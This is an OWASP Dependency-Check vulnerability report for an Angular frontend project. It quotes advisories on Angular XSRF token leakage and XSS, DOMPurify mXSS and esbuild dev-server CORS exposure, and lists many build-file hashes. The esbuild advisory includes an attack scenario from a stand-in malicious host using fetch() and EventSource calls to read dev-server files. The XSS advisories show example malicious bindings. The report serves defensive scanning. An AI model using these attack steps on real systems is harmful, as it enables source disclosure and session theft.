Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.
Summary of Vulnerable Dependencies (click to show all)
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/common
Referenced In Project/Scope: package-lock.json: transitive
The vulnerability is a **Credential Leak by App Logic** that leads to the **unauthorized disclosure of the Cross-Site Request Forgery (XSRF) token** to an attacker-controlled domain. Angular's HttpClient has a built-in XSRF protection mechanism that works by checking if a request URL starts with a protocol (`http://` or `https://`) to determine if it is cross-origin. If the URL starts with protocol-relative URL (`//`), it is incorrectly treated as a same-origin request, and the XSRF token is automatically added to the `X-XSRF-TOKEN` header. ### Impact The token leakage completely bypasses Angular's built-in CSRF protection, allowing an attacker to capture the user's valid XSRF token. Once the token is obtained, the attacker can perform arbitrary Cross-Site Request Forgery (CSRF) attacks against the victim user's session. ### Attack Preconditions 1. The victim's Angular application must have **XSRF protection enabled**. 2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`) to a **protocol-relative URL** (e.g., `//attacker.com`) that they control. ### Patches - 19.2.16 - 20.3.14 - 21.0.1 ### Workarounds Developers should avoid using protocol-relative URLs (URLs starting with `//`) in HttpClient requests. All backend communication URLs should be hardcoded as relative paths (starting with a single `/`) or fully qualified, trusted absolute URLs.CWE-359 Exposure of Private Personal Information to an Unauthorized Actor, CWE-201 Insertion of Sensitive Information Into Sent Data
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/compiler
Referenced In Project/Scope: package-lock.json: transitive
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context. In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections. When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script. ### Impact When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to: - **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens. - **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application. - **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user. ### Attack Preconditions 1. The victim application must explicitly use SVG `<script>` elements within its templates. 2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts. 3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses). ### Patches - 19.2.18 - 20.3.16 - 21.0.7 - 21.1.0-rc.0 ### Workarounds Until the patch is applied, developers should: - **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements. - **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template. ### Resources - https://github.com/angular/angular/pull/66318CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
A **Stored Cross-Site Scripting ([XSS](https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss))** vulnerability has been identified in the **Angular Template Compiler**. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain [`javascript:` URLs](https://developer.mozilla.org/en-US/Web/URI/Reference/Schemes/javascript)) as requiring strict URL security, enabling the injection of malicious scripts. Additionally, a related vulnerability exists involving SVG animation elements (`<animate>`, `<set>`, `<animateMotion>`, `<animateTransform>`). The `attributeName` attribute on these elements was not properly validated, allowing attackers to dynamically target security-sensitive attributes like `href` or `xlink:href` on other elements. By binding `attributeName` to "href" and providing a `javascript:` URL in the `values` or `to` attribute, an attacker could bypass sanitization and execute arbitrary code. Attributes confirmed to be vulnerable include: * SVG-related attributes: (e.g., `xlink:href`), and various MathML attributes (e.g., `math|href`, `annotation|href`). * SVG animation `attributeName` attribute when bound to "href" or "xlink:href". When template binding is used to assign untrusted, user-controlled data to these attributes (e.g., `[attr.xlink:href]="maliciousURL"` or `<animate [attributeName]="'href'" [values]="maliciousURL">`), the compiler incorrectly falls back to a non-sanitizing context or fails to block the dangerous attribute assignment. This allows an attacker to inject a `javascript:URL` payload. Upon user interaction (like a click) on the element, or automatically in the case of animations, the malicious JavaScript executes in the context of the application's origin. ### Impact When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables: * **Session Hijacking:** Stealing session cookies and authentication tokens. * **Data Exfiltration:** Capturing and transmitting sensitive user data. * **Unauthorized Actions:** Performing actions on behalf of the user. ### Patches - 19.2.17 - 20.3.15 - 21.0.2 ### Attack Preconditions * The victim's Angular application must render data derived from **untrusted input** (e.g., from a database or API) and bind it to one of the unsanitized URL attributes or the `attributeName` of an SVG animation element. * The victim must perform a **user interaction** (e.g., clicking) on the compromised element for the stored script to execute, or the animation must trigger the execution. ### Workarounds If you cannot upgrade, you can workaround the issue by ensuring that any data bound to the vulnerable attributes is never sourced from untrusted user input (e.g., database, API response, URL parameters). * **Avoid Affected Template Bindings:** Specifically avoid using template bindings (e.g., `[attr.xlink:href]="maliciousURL"`) to assign untrusted data to the vulnerable SVG/MathML attributes. * **Avoid Dynamic `attributeName` on SVG Animations:** Do not bind untrusted data to the `attributeName` attribute of SVG animation elements (`<animate>`, `<set>`, etc.). * **Enable [Content Security Policy (CSP)](https://angular.dev/best-practices/security#content-security-policy):** Configure a robust CSP header that disallows `javascript:` URLs.CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/core
Referenced In Project/Scope: package-lock.json: transitive
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context. In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections. When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script. ### Impact When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to: - **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens. - **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application. - **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user. ### Attack Preconditions 1. The victim application must explicitly use SVG `<script>` elements within its templates. 2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts. 3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses). ### Patches - 19.2.18 - 20.3.16 - 21.0.7 - 21.1.0-rc.0 ### Workarounds Until the patch is applied, developers should: - **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements. - **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template. ### Resources - https://github.com/angular/angular/pull/66318CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-2DUT3MBC.js
MD5: fb0d87e3be7fdaa4ff7a6e5c5dede227
SHA1: 93e3f8d34d84aad8a4f85b318e859c21294ae8f5
SHA256:2693595d264004517cc9841e2363d05bc174f080e7d429e1e5265e4443cf5bff
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-3W5DFRBO.js
MD5: c286e4638c4f493da8b0a1cf5895a678
SHA1: b29b56e2734c807f252b565b2ee4dc2493d154ff
SHA256:0e9e24b8137d25268a61aabdfa2689f5a9097342c8c3dcd26f4d14a31d5c08b2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4IDNTCH7.js
MD5: 492248c6fedb4bedf5cd3fad8a41ea11
SHA1: 55353524914d21fc0e9f257a184a66e06fc4e304
SHA256:10b852d2b3bb8e267c036324b7123aeec82d3cd34252db7bff6c6527bb52d452
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-5CPB2O4U.js
MD5: ed73d516ed966a8f1ab7e485e021c676
SHA1: 40c2217431d4b61f75be9865b9fb7a75c90c0e47
SHA256:89ebc45ee1f6a4978f7b716a2c05fe16ce4c11dbb2a28cecd038783e2ae07366
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-5LIKHIMW.js
MD5: 447d03cfcf26bb29e33723014ec6ad09
SHA1: 2e92ea6c26cfe831c7261ccfe57b2c97f0334381
SHA256:2e6a216f857e02462f2c709c263259700253e6fb413905728dbb676089f57060
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-5XG6ZEPE.js
MD5: 7d84140ff92a224219f4a45d68e0a828
SHA1: 815ba214dfe9343878d895db74bc780e0ef68d8d
SHA256:3530207f138c4e94652b531d4c5262a4e0e34c59acaa70b83ed4dffaabd28c96
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-65Y3UMUB.js
MD5: cb7023806a978a8537a9af2aa52bdb02
SHA1: 40a7fbeee2af1efefc67d570c2ff11279e821140
SHA256:e2729471c61bb00303297f6138fd422c5f1ea23fe468cd4249533b15d6ebe4f3
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-7AWS35PM.js
MD5: badc9f2bdbe1ddcee43597b134122462
SHA1: 3b471a3e71b1f8aa8a5b1443ffa4a43bd9b4b84d
SHA256:c28f81b49aa3c9ae9259003921e0d4380bd7d81943f10eca16fddabeed5eef76
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-7Y2OR5ZR.js
MD5: ae8aad1b717af8590b2972196d3f2ad7
SHA1: 163a11dfa36f9a50098977ed91eb9c45209bfb16
SHA256:c4c43c826f42bc8355dd1919016cb7775e66ca0a400b58adea2e40e23cd246b2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-AQVCEH2G.js
MD5: 4c82c1967f07e80389fe9a6cb9f62ab6
SHA1: db1dc07a951e5c469aa193ba4943441683c42e0b
SHA256:c56e4656f69ca2ecb05d0e3e55fe8ddf4b695f1323ed81a94086725cbda6b60d
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-AYB3SWWS.js
MD5: a0027daad130388cd7f4299508914401
SHA1: 8a8f298063ac044cfd18a586a490b1366d2fe782
SHA256:a4a23cd5b5b5f27e78a99675f4590e4968d7eba12556b21672370c76cd08f190
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BG6VN43N.js
MD5: 9d1f2542dee7be988e6a7c53540ba996
SHA1: 6b5b6a858402168858261e59e37b5c5456ad81d5
SHA256:d69fef67a7b52b0ffac01331ef77e5a05866776d51cd1e279b87a102d55c53b6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BKVONTPZ.js
MD5: 612912a374409b0211114148aec49d7f
SHA1: 309921b80cae978fd10ba7bdca7091c42b87afd5
SHA256:eec96817467b05464b2547da6e97ed17879805f00bcf18e073cb9b18d50e0c82
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BLSEQJXN.js
MD5: 6861b19caed1127f6c74d39e439609d9
SHA1: bed4e94d2cb625359d3c6b1cd7f075da89de5e7a
SHA256:67a55bc7e12f58660fb7df47315967c0809d6c87eb26fbf802a1ae261abb5e7b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-CQZ3LGC7.js
MD5: 0f1f2830b3220215e673a03e01d6bc2a
SHA1: 136ccc069006cda89cc7823bccd3895977cd6875
SHA256:9aeab1babe3eab0cd786d6d45d0b918440c944f7589253a1a583a69c0f501510
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-DP4F5TQA.js
MD5: 9204c168d2dd7f3887c241ce540df6fd
SHA1: e160caa379daba2fd8dc649bd275a5438d7370e8
SHA256:498da39df825ce7de8ee3d16ed7ea119fe1fd7dc1af3882b37c056f79fd6e705
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-F6CQSYC3.js
MD5: 1ce61187c4b6f23beef7689ea1efe093
SHA1: 8911623aa8c922dcbf68f40a993e168f1e4d4c94
SHA256:56b6a426f168c159400b3b389664f064e26b7689c328c578f78a671a05e8ea02
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-FK6H3RFT.js
MD5: 3180b362432ae8ddafb28a3ddb10d0bf
SHA1: 3c538698719f1cf34410542b8c702bc484e025ee
SHA256:e4ae3fe180204606215dd6a440d58a5c976c844a789b37d27d655c5e57420bc8
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-FLDNX5CL.js
MD5: ace32284f13f2fb736bdb0482b617c1f
SHA1: 96bd013c28bbe9b3dd6003f4565ba109f9adf0d1
SHA256:24fee88accd0d81d04121e980d01c0fb7c4dd3ebc92ab7108191cb105bc0e3d1
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-GB6G3STS.js
MD5: a8df04d165fc53b4d1d9680996d08dcd
SHA1: f4e8d30a0a283c92eac99e52340961c37447d591
SHA256:f90af0d95babbcf1be3d51a7adc32a7e19a22eed9bf50104745b054e1bfdadd2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-GU75W6YL.js
MD5: 72bbe07aaa98068cce366babcfa688a5
SHA1: 11f1c2636230944b868f50717aa755c0c33a0824
SHA256:0a26e9d7ab8e36220b1c601af707eb3de4810bf9aba069cc0bcf9abea5e076fc
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-H7ENNXHV.js
MD5: 15158c03bd3d91b3afa6bab47133f7fc
SHA1: 3d22e377c8a16577ba72dfe96981cf2b4df96d37
SHA256:9b1768c04ea190bc6569859199d3781e532280410947601f6c5411d1b775e804
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-HGBULXKF.js
MD5: a9420e3edc78a6672ff6a4c7a0a5af71
SHA1: 6f6f31265de62a86e28b055f931ef16913afc7ca
SHA256:451c5532f26a1056c8b6fe24500f52a22921a0f8ca6cc66d546afe616e6cf1a3
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-HVZJFDNV.js
MD5: 79359f7e9df647c7cda9a19028fed3cc
SHA1: 3677cc0764d0721213711b7d38d2448ee8341ff4
SHA256:5d92e66cdc952d334dc85223855a1df67c06d531ee005497c2cefc189b58acf2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-I46VRRDT.js
MD5: 2d2d068c2b1759cb2b6ce0dea3a186c4
SHA1: 1984efbbbb65c61a9ea1c5d383e21ff06dfd33d7
SHA256:b82a54b9ccc44a086e531df437ca67339253f11dda6feae26e3aace96284047b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-IAT6B3MN.js
MD5: 2c2c9399108d45286ef1e063db22e7b8
SHA1: 33800b6cad9d6d778207a1e81dccb5b06a9a1eee
SHA256:7bbbf9c280cefc748774a32b99132c852a346bdeb75186c84b16afed486734a9
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-IHVYAHLJ.js
MD5: 3cc84cdad116063b767627524e97d9ca
SHA1: 041e35bfe5c3bea17da145adda9e21a5099743e5
SHA256:6a6f7f224829d637c34814c122fd0ca935632c40b76b500161400f8c1d3895ef
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-JOZPUFRT.js
MD5: d3df36474c6213d7062f4682f486ce50
SHA1: 0bb444cef83065c9dbdfad5bfbad9db088e5250b
SHA256:ffd7ea3bfd40f86e2d63b34a8aca29ad425ea209fcc121c168395210ef1b7c67
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-JWR5PHCO.js
MD5: 3edafa5d85c8ca7ee5cfbbed2bc39b94
SHA1: e40d7994c5e18d471f20e740c11613ad35e2604e
SHA256:f0c3a7c3f86417ae1a90495f09a932de08d407fd03ee72d688b3c93dbc360b7b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KNNTOBUQ.js
MD5: c679417262f1b7a727d52007f124bdd3
SHA1: a2fc7534285f02534bc0cc6b213489e2b33576c1
SHA256:5f3e7a4c0710a74ffe47bba89f007a3787840d735789b210e2ea4285c83eb3b6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KWK3HKEC.js
MD5: d6b8e5c843e978f4f415c03cce1fa21c
SHA1: ac2e6456810dca27053de6aa0ebbb102dddcf462
SHA256:f2d97620e253211ced49a910a6f59ca2bdbfd7f9eaf4c7c032bc0a45cb00824b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LALFTQDI.js
MD5: caa7cb08328ce7400d87968f67f6100a
SHA1: 29bbadbaa0dd4a20f3bae68158aa132e4db6a2e5
SHA256:d4ad61af2cf9da5dbfc907e88df34305db6d200be7d19b22f154566940218ef0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LR2MFQOX.js
MD5: c8bde748e2737d4e1363d65bc51035ae
SHA1: 5436ab00c2f83fbda3fd1b3502416f86ae0876c9
SHA256:97f27af2bff73141c0b365963f05d34a13c1d6e5edeaa7f9f7553d876781c3f5
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LYJBRVOP.js
MD5: 96c55863f9694a5e25d6e05bb4b4b127
SHA1: 4ba528ba3d4752c09c448689249bfb8a28ffae49
SHA256:500aa2c2784160c5e34ea7eb3de59eb2ea1727dc2e38e180e470747933aab979
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-M6DNAWLE.js
MD5: 4f53aa32c3fd6f2997d15955600ad852
SHA1: e1287a8ed39631ce50e688e1d67f76ad8a0b18e8
SHA256:244ad08886e5fbc89860e1057e2275769fcc906abd5f40583cd1d852521d96d0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MAF72MTU.js
MD5: 9a499213df1e36163ae50adb148303c6
SHA1: 8fc3e268168f1339c463ab1bc31e68b1386660e9
SHA256:41626f0047864e2ce105dc2043a8e9aea45a45cab954f866a1cb6f06d06d1a92
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MMKHBAMC.js
MD5: 2ceeace9d51e45ac035f02c95caf2869
SHA1: dc8ed1c19e4c70b78c834fa75e440569dc7c2ec3
SHA256:d9ae060ea0569d17cf879a8bbaf199f7f7113762f1770dc628bb6cd8f31cdbc2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MRSFLZJS.js
MD5: eb02180fab6625e74bccc9762a0b4694
SHA1: 28af92543968773cb81c02031bed3ab740890903
SHA256:c9c02b45279b180f9ee06689d1afc948bd00eb5f8c574d52cab14dfb60b825cb
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-NN6GAZ3B.js
MD5: 9c5dd3f12cd4bed59fdd99981801de69
SHA1: 2a4d2f0603d5832a12b30a3e952c3d22f2cf6ffa
SHA256:88b3d2974f7b72cffb7eed621414cc1c0009869a4b6b68ce2d5eeb38a3f75bed
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-P3UWLXGI.js
MD5: df881c673cf51d3a3aee6d6e9e2353f2
SHA1: 73ed4c31aecfccd829a0b8a4a237ddb7bf0efff8
SHA256:6477ba72b16156c966ecdb5db80cd5257de2d9f375d7a1818982757ced05ae2c
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PCRZMXVQ.js
MD5: def2b1bbf445218cd5bdd0f0ccd54f40
SHA1: 11c965fe1f69daa969b679d18bfb2c3a97b1fb61
SHA256:adfb423ae8a792c122a4669f275378f77cc16232518d67b85f4fe98e5e14549e
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PYZZLTBQ.js
MD5: 80df5c596ce45d316be16f3647db069b
SHA1: 48c8a4010f4e843edb7a9acfd3c365bd2bee6d98
SHA256:e4105e552ecaaf57a1fca5d0ce06781390769fed25950c7dbad6f840121427a4
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-Q6GD6NEO.js
MD5: 6ba5831757c18fcd75ef5bc0668a0809
SHA1: 750b41f6809603ea940528a403b9a1f1e3c791e1
SHA256:56baaf1a1cdc3cbbf736dfe2637e9cf3facee6f712f40111319c1b5569d2485b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-QEGSHAMZ.js
MD5: f4acfe17bcb08aecdd0c5b566c793734
SHA1: 114025917ca84f0baec5231f24f980775c68ef45
SHA256:dcd296ae023c9f468b6fc0efc2b8addba709ed450598711c50de7e9b4782c283
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-QWE6RDH2.js
MD5: fa73a667cf88b847ee8c66de52497fe2
SHA1: 828185c23788bd72a58a7742f8ed8820190a81b1
SHA256:12e0ca67a567b3bd0b5b04bbb8bdb13d71855980a4ed6c85db7b377b1c0e7a5f
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-RAGU6YDF.js
MD5: c3ba315b36d6b20150da94cbe71f4e05
SHA1: ca45fc48e8905fc1f469103f168bb57cd4fef254
SHA256:92a572ef1a31e2c329f29ba37f596fb47c5dd619f1c2789b95846c5e6507eda6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-SFM3UAUU.js
MD5: c235c3755da4044ab11e85a392ba8882
SHA1: ce3120944a2fce67656755405ff8315142a2c7f6
SHA256:b2f5f3199c759d3304ae5132f05ed0f2fa0e46d45c9e1f2227bbcc3e03800cea
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-SS3AZUBG.js
MD5: a50bb46f36f7cac1ccbc420f9d269503
SHA1: 2459e7c50b999979d98329cabc29e6fee8a0d4f1
SHA256:dd03a5f69cf8395d0093f61b66cb9a7c39e1f77fa1fad06da695ee13d2b98af0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TA5GG3BA.js
MD5: 8b7e17f5852c98ba77364aafcfdc0986
SHA1: f696c6b4c9d7d35c9484400bababeba014cf9d92
SHA256:abd264ac63672c9caeb57374694f6b25ee5b7ed45035c5919964e5624a6fc979
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TC6IYJRI.js
MD5: 769ec650e7518bbe77b87bca9325d88b
SHA1: e8d0a2eef0a4c0b96e025e2e3bc1de1bd9e02915
SHA256:d2e1aa11c63f8e8ca811379de61b6dbd44e3b24159653b85fa7fcdf58a7513d6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TRL56STW.js
MD5: bc2d69c278a4655b6332eea43059b908
SHA1: 69dee548bfb93e2b858fd523434a6585c80bfc95
SHA256:6c34b45c41f218e4457bd25ede4906cc56a8bc59b66bfad713fd94211195a441
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-UJRMHFDQ.js
MD5: 32c27a2f7a64858411fe8ddd90d7ca71
SHA1: ef04f9339ca4a12bb607ec054040f11d3ad1790c
SHA256:aa0c5b2746c7aeafa6da6b3bc7f8055dadf93ba6503c687345e6e4eb97be0248
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VICLOYEK.js
MD5: 537b7efae7e9192ba373f0274483ffdd
SHA1: 3042b96efc4ff6416ed6d98cb6f2e996adc959df
SHA256:a220ef5398f556ede663df701e4115f3b83facd9623288bd55f9bb2b994b05dc
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VNT7D2D2.js
MD5: 0ef9192d9c54d09729a3f6b62c958b10
SHA1: 41c6373f98fc57a7eb895df268ddb2a82a663941
SHA256:ed760aa80dbb2d898f02d8d4a6aa02b43578f55ccd24027c3816df260814405a
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WFGPIVU6.js
MD5: 27f24c5357b958645b953ad5c00b4603
SHA1: 82c44cdbac9c1d58702fb4a0267ee3635a1636c2
SHA256:2b2b699d5384d6283e3b93416e42c546aa35385a1023638e8f5a4df36056d7fe
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WFMBOKO4.js
MD5: be03f7aedf2b0db4822d7408656c9cb4
SHA1: 72208e3a0f85c79ac6bab9411ccfe626eb9af1ef
SHA256:1cf032552fbc8a9466f20dab2fc1f2b0d302262000134b75f2ee9edf77f9b706
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WHSEWC2X.js
MD5: abb3eb5bf5697478241b57dbfdcdc859
SHA1: 0ab9775c929a4f1934a9fef8a7f0a030a6e59609
SHA256:6ebc6951afcfa4b33d2a335ceabe2d36d63a7d380864290e2e58b3878b0dbe3b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-X2PAP63A.js
MD5: b36dccd4f92526fedd39ddaf7fc413f6
SHA1: 9b005b7720bbf3868498876c6972aa0663795cda
SHA256:e9a341f9c422cd85f9ed46b3af654bdcd8d659081d4581eddc0771a290355128
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-XHQOCZFE.js
MD5: 2055a32e84af34a9dc1c280703416db2
SHA1: 31a52b4a534a4271f5c5d3069bc3449d1f123323
SHA256:b48cb0510d3c617f7210369499bb4f289dbe29407d063dc92fb004b5a75ea545
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-XNWEUM6Z.js
MD5: f07f644262f2afbf620c771fa1c24fb9
SHA1: 918dc841170ebbe6ec7891ddd716d393da382458
SHA256:58d2cefd4b9dea8b5cf53c1cee4665fd78568aa76dfc2f99558a40c6fe5601db
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-YWAL7HVF.js
MD5: c2761228e2fc3d82975d4bd1e137ad8e
SHA1: c7c08cf456fdfd461cfa5b00c792f1b3dd8e06a9
SHA256:1fc15c4815f2bfbd744aba998603449310caa2b0fcd65a51d8f5319ffc1df494
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-ZJZYNOQG.js
MD5: 70e851b1148c5799bcf7b7c04de1bc60
SHA1: 53e9888d2c589f87fb13d6384a643d36d27a50cb
SHA256:58d25088397042939b3c777aec6376e527ebebe8b642bd98d09975b55e961d25
DOMPurify before 3.2.4 has an incorrect template literal regular expression, sometimes leading to mutation cross-site scripting (mXSS).CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NVD):
File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/custom.js
MD5: b76a4710138519044113c0901bed4886
SHA1: 3ca657331ee0ebf8487d1b76bbdb9f715044e75b
SHA256:d046e704784bdaba7948a66d7842b3e092da01baaffbde1851f42e233f68c21e
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?esbuild
Referenced In Project/Scope: package-lock.json: transitive
### Summary
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
### Details
esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
**Attack scenario**:
1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.
In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file
The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
### PoC
